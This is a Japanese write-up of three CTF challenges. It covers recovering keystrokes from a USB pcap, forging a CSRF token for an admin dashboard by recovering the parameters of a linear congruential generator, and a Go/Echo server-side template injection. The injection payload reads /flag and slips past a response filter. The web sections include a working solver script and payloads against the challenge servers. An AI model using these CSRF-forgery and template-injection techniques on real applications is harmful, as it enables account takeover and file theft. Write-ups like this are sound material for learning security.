[Forensics] pcap-1
総パケット数が401193とかなりでかい。
プロトコル階層を見てみても、特にこれといった発見はないが、USBのシリアル通信も記録されているのが珍しい。
一旦tshark -r capture.pcapng -Y "usb" -w usb.pcap
としてUSBだけ取り出してきて眺める。
キーボード入力っぽいものも散見されたので、色々スクリプトはあるが簡単に以下を使って文字にしてみた。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.
aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm CCTTFF IInnttttttrroo PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww ttoo bbee ggoooodd aaaatt CCTTFFss??aaaaaaAA bbeeggiinnnneeeerr''ss gguuuuiiddddbbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss iiiiss aaaannnn eexxxxaaaammpppppplleeee ooooffff aaaa ffllllaaaagg::aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuunnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff yyoooouuuu ccccaaaann rrrreeeeeeaaaadd tttttthhiissss mmmmeessssaaggggee,, ccoonnnnggrraaaattss!!11 BBuuuutt tttthheeee ffllaaaagggg yyoooouu sssseeeeee nnnnooww iiiissss nnnnooootttt tthhhheeee aacccceeeepptteeeeeedd ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa IInnssppeeeecctt tttthhhheeee ppppaaaacccckkeeeettttssss mmmmmmmmrrrreeee ddddeeeeppllyy,, aaaanndddd yyoooouuuu wwwwiillll rrrreevvvveeaaaall mmmmmmrrrreeee iiiinnffoorrrrmmaaaattiiiioonn aaaabboooouuuutttt wwwwhhhhaaaatttt iissss hhhhaaaappppeeeenniiiinngg.. II''mm wwwwrrrriittttiiiinnnngggg tttthhhhhhiissss hheerrrree,, ootthhhheeeerrrrwwiissssee 1111000000 ppeeeeoooopppplllleeee wwiillll ddmm mmmmeeee ttttoo ssssaayy tttthhaaaatt tttthhee ffllaaaagggg iiss nnnnooootttt wwoorrrrkkiiiinnnngg,,,, oooooorr tthhhheeee cccchhaalllleennggggee iiiissss bbrrookkeenn.. BBttww,, II ddoonn''tttt lliikkeeee ffoorreennssssiiccccssss ttoooo.. ::))
文字がダブっている。
この辺いつもよくわかっていないのだが、チャタリング的なあれ?と毎回思っていて、ちゃんとやろうとするとTimeを見ながらきれいにするべきだろうが、単純に重複を省く感じで処理する。
ChatGPTで「python3でテキストファイルを読み込んで一文字ずつ表示していくが、前の文字と同じであれば表示しないようなスクリプトを書いてください。」とお願いすると、
数秒で書き上げてくれた。
with open('filename.txt', 'r') as f: previous_char = '' for char in f.read(): if char != previous_char: print(char, end='') previous_char = char
凄すぎる。以下のように変換される。
$ python3 chatgpt.py aslides.gogle.com CTF Intro PresentationbcababcbcbabaHow to be god at CTFs?aA beginer's guidbDonotcheataGguesingabisbabacagodacaTthis is an example of a flag:aACSC{af0r3ns1csbaba_baiscdab_abas0a_babafunadabcacacdbcbaba}ababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabaIf you can read this mesage, congrats!1 But the flag you se now is not the acepted flag.acabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa Inspect the packets mre deply, and you wil reveal mre information about what is hapening. I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken. Btw, I don't like forensics to. :)
んー、微妙なフラグが出てきたが、だめ。
abababというのが多いので、ゴミデバイスが邪魔しているんだろう…
改めてpcapを見返すとSourceが1.12.1と1.13.1がある。
OK.
分離してこれまでやった変換をやろう。
tshark -r usb.pcap -Y 'usb.src == "1.12.1"' -w usb1_12_1.pcap
abcababcbcbababababacacabababacdababababadabcacacdbcbabababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabacabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa
変な感じだが、よくよく見るとマウスのキャプチャっぽい。
tshark -r usb.pcap -Y 'usb.src == "1.13.1"' -w usb1_13_1.pcap
slides.gogle.com CTF Intro PresentationHow to be god at CTFs?A beginer's guidDonotcheatGguesingisgodTthis is an example of a flag:ACSC{f0r3ns1cs_is_s0_fun}If you can read this mesage, congrats!1 But the flag you se now is not the acepted flag. Inspect the packets mre deply, and you wil reveal mre information about what is hapening. I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken. Btw, I don't like forensics to. :)
ということで作者の恨み節と共にフラグが見つかる。
[web] Admin Dashboard
index.phpを見ると
<?=($_SESSION["user"]["role"] === "admin") ? '<p class="lead">ACSC{REDACTED}</p>' : "";?>
とあるので、admin権限でindex.phpが見られればフラグが得られそう。
addadmin.phpを使えばadmin権限のユーザーが追加できる。これが使えそう。
addadmin.phpを見ると、ユーザー追加にif($_SESSION["user"]["role"] !== "admin"){
という条件があるので、adminに踏ませる必要がある。
$_REQUEST
のusername, password, csrf-tokenを用意すればいい。
$_REQUEST
はGET,POST,Cookieのどれでも使えるので、GETのクエリストリングで渡すことにする。
username, passwordは任意のものを渡せばいいが、問題はcsrf-token。
初回のcsrf-tokenは未知の数A,Cと既知のusername,Mを使って
X[0] = A * username + C mod M
のように生成される。さらに、そこから30秒ごとに、
X[i+1] = A * X[i] + C mod M
のような感じで再生成されて使用される。
この形はまさに線形合同法であり、これはいくつかサンプルがあればパラメタが割り出せる。
詳しくはkurenaif先生の動画がいいと思う。
実装は線形合同法 (Linear Congruential Generators) によって生成される擬似乱数を予測するを借りてきた。
このcsrf-tokenは自分で作ったアカウントでも取得可能なので、自分でアカウントを作って30秒ごとにtokenをもらってきて、パラメタA,Cを割り出す。
これで、A,C,Mが既知でusernameはadminを使えばいいので、csrf-tokenが生成可能となった。
これを使って、adminユーザーの作成依頼をかけて、そのユーザーでアクセスすればフラグが得られる。
以下のようにcsrf-tokenのジェネレータを作成した
import requests import re import time import string import random import binascii BASE = 'http://admin-dashboard.chal.ctf.acsc.asia' #BASE = 'http://localhost:8000' username = ''.join(random.sample(string.ascii_letters, 10)) password = ''.join(random.sample(string.ascii_letters, 10)) print(f'username -> {username}') print(f'password -> {password}') s = requests.Session() s.get(BASE + '/register', params={'username':username, 'password':password}) s.get(BASE + '/login', params={'username':username, 'password':password}) x = [] for _ in range(8): t = s.get(BASE + '/addadmin').text token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0] print(token) x.append(int(token, 16)) time.sleep(35) # ============================================ # https://satto.hatenadiary.com/entry/solve-LCG def solve_unknown_increment(states, A, M): B = (states[1] - A * states[0]) % M return B from Crypto.Util.number import inverse def solve_unknown_multiplier(states, M): A = (states[2] - states[1]) * inverse((states[1] - states[0]), M) return A from Crypto.Util.number import inverse, GCD from functools import reduce def solve_unknown_modulus(states): diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])] multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])] # GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2]) M = reduce(GCD, multiples_of_M) return M M = solve_unknown_modulus(x) A = solve_unknown_multiplier(x, M) C = solve_unknown_increment(x, A, M) # answer print("A = {}".format(hex(A))) print("C = {}".format(hex(C))) print("M = {}".format(hex(M))) # ============================================ from Crypto.Util.number import * assert (A * bytes_to_long(username.encode()) + C) % M == x[0] print(hex((A * bytes_to_long('admin'.encode()) + C) % M))
後は適当なユーザーを作成するように以下のようなURLをreportする。
botのクローラーのソースコードを確認すると、localhostにする必要がありそうなので注意。
http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0
これでadminユーザーが作られたはずなので、以上のreportであればwaeji25fgew:dfgj34ijgiでログインすればフラグが得られる。
[web] easySSTI
注目すべき点がtemplateというヘッダーがプロキシ経由で転送されるという部分。
これを使えば、template.htmlではなく任意のテンプレートを差し込める。
なので、これを使って任意のSSTIをして情報を抜く問題だが、
プロキシの制限によって/ACSC\{.*\}/
が応答に含まれてはいけない。
テンプレートの生成部分を見ると、main.goでif err := t.Execute(buf, c); err != nil {
の部分になる。
コンテキストとして渡している変数cはecho.Contextなので、ここから辿れるもので使えるものがないかを探していく。
https://github.com/labstack/echo/blob/master/context.go
ここを見ると、FileとかAttachmentとかで任意のファイルを返すことができる。
つまり、template: {{.File "/etc/passwd"}}
みたいに書けるわけだが、そのまま返すとプロキシが弾いてしまう。
なので、別ルートを探す。
https://github.com/labstack/echo/blob/master/echo.go
ここを見ると、Filesystemといういかにも使えそうなものが見つかる。
OpenでFileを開くことができ、該当ファイルのfs.Fileを返してくれる。
template: {{ .Echo.Filesystem.Open "/etc/passwd" }}
https://pkg.go.dev/io/fs#File
ここを見ると使えそうなのはReadくらいしかなく、読込先として[]byte
を指定する必要がある。
これを探すのに四苦八苦していたが…
なんとカスタムコード部分に用意されていた!
main.goにtmpl, ok := c.Get("template").([]byte)
とあるので、.Get "template"
とすればこの[]byte
の変数を取り出すことができる!
これを保存先として指定して、そのあと表示してやれば、読込データが表示される。
つまり {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}}
という感じ。
[]byte
をテンプレートで表示するときはarray形式でdecimalで表示されるっぽいのでプロキシもbypassできる。
decimal形式になっているので適用にCyberChefあたりでasciiとして読み込ませてやればフラグが出てくる。